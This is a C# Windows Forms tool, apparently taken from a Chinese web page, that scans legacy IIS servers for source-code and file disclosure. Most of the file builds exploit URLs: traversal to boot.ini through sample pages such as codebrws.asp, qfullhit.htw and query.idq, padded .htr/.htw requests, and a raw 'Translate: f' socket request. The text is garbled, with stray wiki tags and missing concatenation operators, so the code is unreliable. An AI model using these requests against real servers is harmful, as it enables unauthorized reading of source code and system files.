zb-zb

[[wiki]wiki[/wiki]][/wiki]//主要方法
        protected void btnGo_Click ([wiki]object[/wiki] sender, System.EventArgs e)
        {

            //解析[wiki]URL[/wiki]
            string strServer = this.txtServer.Text ;
            string strUrl   = this.txtFileName.Text ;
            char [] point = {'.'} ;   //定义分割符为"."
            char[] line = {'/'} ;     //定义分割符为"."
            string [] arrString = strUrl.Split(line) ;

            //求asp文件全名
            string strFileName = arrString[arrString.Length - 1] ;
            //求从根目录下的路径
            string strPath = strUrl.Substring( 0 ,
                             strUrl.Length - strFileName.Length) ;

            //解析文件全名
            arrString = strFileName.Split(point) ;
            //求[wiki]文件扩展名[/wiki]
            string strLast = arrString[arrString.Length - 1] ;
            //求文件名
            string strFirst = strFileName.Substring( 0 ,
                              strFileName.Length - strLast.Length - 1) ;
            


            //使按钮、输入框等失效
            this.txtServer.ReadOnly = tr[wiki]UE[/wiki] ;
            this.txtFileName.ReadOnly = true ;
            this.btnClear.Enabled = false ;
            this.btnGo.Enabled = false ;


            if (this.txtServer.Text == "http://" || this.txtFileName.Text == ""
                || this.txtServer.Text.Trim()== "" ||
                this.txtServer.Text.Substring(0,7) != "http://")
            {
                MessageBox.Show("请输入正确的主机名和文件名！") ;
                this.txtServer.Focus() ;
            }
            else
            {
                this.txtResult.Visible = true ;
                this.txtResult.ReadOnly = true ;
                this.barStatus.Text = "正在连结主机…" ;

                string strRequestFile ;

                switch (this.cboMethod.SelectedIndex)
                {
                    case 0:          //直接读取
                        strRequestFile = strServer   strUrl ;
                        break ;
                    case 5 :         //.Asp
                        strRequestFile = strServer   strPath   strFirst
                                          ".Asp" ;
                        break ;
                    case 8 :        //longhtr
                        strRequestFile = strServer   strUrl
                               "                  %"
                               "20              %"
                               "20                 "
                               "                 "
                               "                 "
                               "        "
                               "                 "
                               "                 "
                               "                 "
                               "                 "
                               "                 "
                               "                 "
                               "                 "
                               "                .htr" ;
                        break ;

                    case 10:     //codebrws.asp
                        strRequestFile = strServer   "/iissamples/exair/howitworks/codebrws.asp?source="
                                          strUrl ;
                        break ;

                    case 11:    //showcode.asp
                        strRequestFile = strServer   "/iissamples/exair/howitworks/codebrws.asp?source="
                                          "/msadc/../../../../boot.ini" ;
                        break;

                    case 12 :  //null.htw
                        strRequestFile = strServer   "/null.htw?CiWebHitsFile="
                                          strUrl   " &CiRestriction=none&CiHilite[wiki]type[/wiki]=Full" ;
                        break ;
                    case 13 :  //qfullhit.htw
                        strRequestFile = strServer   "/iissamples/issamples/oop/qfullhit.htw?"
                                          "CiWebHitsFile=/../../boot.ini&CiRestriction=none"
                                          "&CiHiliteType=Full";
                        break ;

                    case 14 :  //qsumrhit.htw
                        strRequestFile = strServer   "/iissamples/issamples/oop/qsumrhit.htw?"
                                          "CiWebHitsFile=/../../boot.ini&CiRestriction=none"
                                          "&CiHiliteType=Full";
                        break ;

                    case 15 :  //query.idq
                        strRequestFile = strServer   "/query.idq?CiTemplate=/../../boot.ini"
                                          "                "
                                          "                %"
                                          "20                "
                                          "                 "
                                          "                 "
                                          "         "
                                          "                 "
                                          "                 "
                                          "                 "
                                          "                 "
                                          "                 "
                                          "                 "
                                          "                 "
                                          "                .htx";
                        break ;

                    case 16:   //[wiki]Search[/wiki]/qfullhit.htw
                        strRequestFile = strServer   "/iissamples/exair/search/qfullhit.htw?"
                                          "CiWebHitsFile=/../../boot.ini&CiRestriction=none"
                                          "&CiHiliteType=Full";
                        break ;

                    case 17:   // search/qsumrhit.htw
                        strRequestFile = strServer   "/iissamples/exair/search/qsumrhit.htw?"
                                          "CiWebHitsFile=/../../boot.ini&CiRestriction=none"
                                          "&CiHiliteType=Full";
                        break ;
                    
                    case 18:   //iirturnh.htw
                        strRequestFile = strServer   "/iishelp/iis/misc/iirturnh.htw?"
                                          "CiWebHitsFile=/../../boot.ini&CiRestriction=none"
                                          "&CiHiliteType=Full";
                        break ;

                    case 19:  //.htw
                        strRequestFile = strServer   strUrl
                                          "                "
                                          "                %"
                                          "20               "
                                          "                "
                                          "                "
                                          "            "
                                          "                "
                                          "                "
                                          "                "
                                          "                "
                                          "                "
                                          "            "
                                          "                "
                                          "                "
                                          "           .htw?"
                                          "CiWebHitsFile=/../../boot.ini&CiRestriction=none"
                                          "&CiHiliteType=Full" ;
                        break ;

                    default:
                        strRequestFile = strServer   strUrl   this.cboMethod.Text ;
                }
               
                this.barStatus.Text = "发送请求："
                                       (strRequestFile.Length >= 50 ?
                                       strRequestFile.Substring(0 , 50)
                                        :strRequestFile)
                                       "...";

                string strResult ;
                //如果不是translate:f方法则可以直接发送http请求
                if (this.cboMethod.SelectedIndex != 20)
                {
                    //直接发送http请求
                    strResult = Get_Http(strRequestFile) ;

                    this.barStatus.Text  = "完成。"  ;
                    strResult = strResult == "" ? "未找到！" : strResult ;
                    this.txtResult.Text = strResult ;
                }
                else  //translate:f方法需要建立[wiki]TCP[/wiki]/ip连接
                {
                    string strRequest = "GET "   strServer   strUrl
                                         "rnHTTP/1.0rnTranslate:frn" ;
                    strResult = Get_Socket_Request(strServer , strRequest , 80) ;
                    this.barStatus.Text  = "完成。"  ;
                    strResult = strResult == "" ? "未找到！" : strResult ;
                    this.txtResult.Text = strResult ;

                }
            
            }

            //使按钮、输入款等恢复
            this.txtServer.ReadOnly = false ;
            this.txtFileName.ReadOnly = false ;
            this.btnClear.Enabled = true ;
            this.btnGo.Enabled = true ;


        }


        //通过同server建立tcp/ip连接，发送socket命令
        private string Get_Socket_Request(string a_strServer , string a_strRequest , Int32 a_intPort)
        {
            //Set up variables and String to write to the server
            Encoding ASCII = Encoding.Default ;
            string Get = a_strRequest   "Connection: Closernrn";
            //string Get =
            Byte[] ByteGet = ASCII.GetBytes(Get);
            Byte[] RecvBytes = new Byte[256];
            String strRetPage = null;

            // IPAddress and IPEndPoint represent the endpoint that will
            //   receive the request
            IPAddress hostadd = DNS.Resolve(a_strServer.Substring(7 ,a_strServer.Length - 7));
            IPEndPoint EPhost = new IPEndPoint(hostadd, a_intPort);

            //Create the Socket for sending data over TCP
            Socket s = new Socket(AddressFamily.AfINet, SocketType.SockStream,
                                    ProtocolType.ProtTCP );

            // Connect to host using IPEndPoint
            if (s.Connect(EPhost) != 0)
            {
                strRetPage = "Unable to connect to host";
                return strRetPage;
            }

            // Sent the GET text to the host
            s.Send(ByteGet, ByteGet.Length, 0);

            // Receive the page, loop until all bytes are received
            Int32 bytes = s.Receive(RecvBytes, RecvBytes.Length, 0);
            strRetPage = strRetPage   ASCII.GetString(RecvBytes, 0, bytes);

            while (bytes > 0)
            {
                bytes = s.Receive(RecvBytes, RecvBytes.Length, 0);
                strRetPage = strRetPage   ASCII.GetString(RecvBytes, 0, bytes);
            }

            return strRetPage ;
        }

        //获取http页面函数
        private string Get_Http(string a_strUrl)
        {
            string strResult ;
            HttpWebRequest myReq = (HttpWebRequest)
                                   WebRequestFactory.Create(a_strUrl) ;

            try
            {
                HttpWebResponse HttpWResp = (HttpWebResponse)myReq.GetResponse();
                Stream myStream = HttpWResp.GetResponseStream () ;

                StreamReader sr = new StreamReader(myStream , Encoding.Default);
                StringBuilder strBuilder = new StringBuilder();
                while (-1 != sr.Peek())
                {
                    strBuilder.Append(sr.ReadLine() "rn");
                }
               
                strResult = strBuilder.ToString();
            }
            catch(Exception e[wiki]XP[/wiki])
            {
                 strResult = "错误："   exp.Message ;
            }

            return strResult ;
            
        }

        //退出
        protected void mnuExit_Click (object sender, System.EventArgs e)
        {
            
            if (MessageBox.Show("真的退出吗？" , "退出[wiki]系统[/wiki]" , MessageBox.YesNo) == DialogResult.Yes)
            {
                this.Close () ;

            }
        }


        //主函数
        public static void Main(string[] args)
        {
            Application.Run(new Form1());
        }
    }
}